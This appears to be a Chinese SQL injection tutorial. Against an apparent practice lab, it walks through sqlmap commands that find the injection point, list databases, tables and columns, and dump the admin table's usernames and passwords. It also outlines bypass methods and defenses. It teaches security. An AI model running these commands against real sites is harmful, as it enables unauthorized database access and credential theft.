一、sql注入的原理
sql注入概念:
sql注入主要是将sql语句,插入到web表单提交或者输入域名或者页面请求的查询字符串,最 终 达到一个欺骗服务器执行sql语句的效果。
sql注入的原理:主要分为平台层注入和代码层注入两种原因
平台层注入:平台层注入主要是因为数据库本身就存在有漏洞、或者进行了不安全的数据库配置。
代码层注入:代码层注入主要是因为,程序员在编写代码的时候、没有做严谨的代码过滤。从而执行了非 法的数据查询
二、sql注入靶机的搭建
http://inject1.lab.aqlab.cn:8003/index.php?id=1
三、使用sqlmap进行sql注入
(1).查看sql注入点和数据库类型
sqlmap -u(指定参数url) http://inject1.lab.aqlab.cn:8003/index.php?id=1
我们可以看到注入点为get型。
注入方式为:布尔盲注和时间盲注。
数据库类型为:mysql
数据库版本为:5.0.12
(2).查看数据库databases名称
sqlmap -u(指定参数url) http://inject1.lab.aqlab.cn:8003/index.php?id=1 --current-db
上述注入结果可以得知:
1.web服务器的操作系统为:Windows
2.web应用技术:PHP版本为5.4.45;Apache版本为2.4.23
3.数据库名称databases为:"maoshe"
(3).查看databases下的table表的内容
sqlmap -u "http://inject1.lab.aqlab.cn:8003/index.php?id=1" -D "maoshe" --tables
sqlmap -u(指定参数) "sql注入网址" -D "databases" --tables
我们得到tables下的一张数据库表格:
主要包括:admin、dirs、news、xss
(4).查看tables下创建的数据库表的结构
sqlmap -u "http://inject1.lab.aqlab.cn:8003/index.php?id=1" -D "maoshe"
-T "admin" --columns
此时查看到数据库databases:"maoshe"下的table:"admin"的表数据结构
包含有:id、username、password
(5).查看表中 "admin"的数据库表中的内容
sqlmap -u "http://inject1.lab.aqlab.cn:8003/index.php?id=1" -D "maoshe"
-T "admin" -C "id,username,password" --dump
此时我们就拿到了网站的登录账号和密码,以及他的保存地址路径。
四、sql注入的思路是什么?
1、首先进行判断注入点,如(get注入、post注入、cookie注入、http请求头注入等)
2、进行数据库类型的判断(MySQL、Oracle、sqlserver)
判断方法:(1).对其进行注入,通过报错类型信息进行判断
(2).判断数据库的端口,MySQL3306端口、Oracle1521端口
3、判断参数的数据类型:数值型和字符型
4、判断数据库的语句过滤情况:判断列数、判断显示位
5、进行绕过和过滤:关键字、逗号、等号、大于小于号、等价函数
6、根据注入情况选择注入方式:时间盲注、布尔盲注、联合查询、报错注入
五、sql注入完成后没有反应是为什么?
首先,无论SQL注入成功或者失败、都有可能造成没有反应。
sql注入成功了没有反应的原因:
SQL注入成功但没有回显”,这通常意味着已经成功地插入了恶意的SQL代码到目标应用中。
原因:盲注:目标应用可能故意隐藏了查询结果,以防止直接的信息泄露。
输出限制:应用的输出可能受到某种形式的限制或过滤,导致即使注入成功,效果也不会被 明 显展示出来。
检查其他输出点:应用可能在其他地方(如日志,其他页面等)显示了与注入相关的输出。
sql注入失败了没有反应的原因:
原因:1、sql注入的语句错误、或者被目标系统采取了相应的保护措施、导致被过滤掉了。
2、目标系统存在日志监控日志、一旦检测到有可疑的sql注入语句、就会立即进行拦截。
3、攻击者的网络配置或者目标系统的操作系统原因,导致没有成功的发出或者接受。
六、如何对sql注入进行防御?
-
日志和监控:实施日志记录和监控机制,以便及时发现和响应任何可疑活动。
-
使用Web应用防火墙(WAF): WAF可以识别和拦截常见的Web攻击。它可以通过检测和分析传入的HTTP请求来识别恶意模式
-
更新和修补: 保持数据库管理系统、应用程序框架和所有相关组件的更新。及时应用安全补丁,以修复已知的漏洞。
4.限制和验证用户输入: 对所有的用户输入进行严格的验证和过滤,确保输入的数据符合预期 的格式和类型。